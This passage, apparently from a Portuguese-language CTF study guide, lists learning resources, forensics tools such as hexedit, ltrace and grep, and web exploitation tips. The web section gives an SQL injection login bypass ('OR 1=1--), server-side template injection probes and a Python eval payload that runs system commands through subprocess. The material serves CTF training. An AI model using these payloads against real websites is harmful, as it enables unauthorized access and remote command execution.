    • Empresa de segurança que produz uma tonelada de conteúdo educacional.
    • Sempre oferecendo cursos gratuitos e webcasts sobre tópicos de segurança.
  • stacksmashing
    • Vídeos incríveis de engenharia reversa e hacking de hardware.
    • Tem uma série muito legal dele revertendo o WannaCry.
  • Ben Greenberg
    • Professor da GMU com vários tutoriais em vídeo sobre pwn e malware.
    • Um pouco desatualizado, mas ainda bom.
  • InfoSecLab at Georgia Tech
    • Palestras boas e avançadas e aprofundadas sobre pwn.
    • Requer algum conhecimento prévio.
  • RPISEC
    • Reuniões da equipe da Universidade RPI.
    • Muito avançado e assume algum conhecimento de ciência da computação.
  • Matt Brown
    • Pentester de Segurança Embarcada.
    • Faz ótimos vídeos amigáveis para iniciantes sobre hacking de IoT.
  • Phoenix Exploit Education
    • Toneladas de problemas de exploração binária ordenados por dificuldade.
    • Inclui código fonte e vem com uma VM que tem todos os binários.
  • hexedit <file.xyz>
  • Você pode precisar alterar a assinatura do arquivo em algumas imagens para que elas abram.
  • Lista de assinaturas de arquivos comuns
  • Ghex (outro editor hex, mas com GUI. Bom se você precisar pular para um determinado byte)
    • ghex <file.xyz>
  • Arquivos docx são contêineres, então você pode descompactá-los para encontrar conteúdo oculto.
    • unzip <file.docx>
  • Grep - Uma boa maneira de usar grep para encontrar a flag recursivamente:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • Você pode alterar 'picoCTF' para o início da flag que está procurando.
  • Ltrace - Permite ver o que o código está fazendo enquanto você executa o programa:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • O Ltrace encurta strings muito longas. Você pode usar -s para aumentar quantos caracteres o ltrace mostra. Bom para quando estiver analisando strcmp que têm strings grandes.
  • vídeo muito bom sobre modificação da pilha com vulnerabilidade de string de formato e %n:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Automatiza o processo de injeção SQL
  • Injeção SQL básica
    • Digite 'OR 1=1-- no formulário de login
    • No servidor isso será avaliado como SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 é avaliado como verdadeiro, o que satisfaz a declaração OR, e o resto da consulta é comentado pelo --
  • PayloadsAllTheThings
    • Ótimo recurso para exploração web com muitos payloads
  • Injeção de Template
    • tplmap
      • Injeção automatizada de template no lado do servidor
    • Injeção Jinja
      • {{ config.items() }}
    • Injeção Flask
      • {{ config }}
    • Função Python eval()
      • __import__.('subprocess').getoutput('<command>')
        • certifique-se de trocar os parênteses se não funcionar
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • lista arquivos no sistema
    • Mais injeção Python
  • Cross Site Scripting (XSS)
    • Avaliador de CSP
      • Avaliador de Política de Segurança de Conteúdo do Google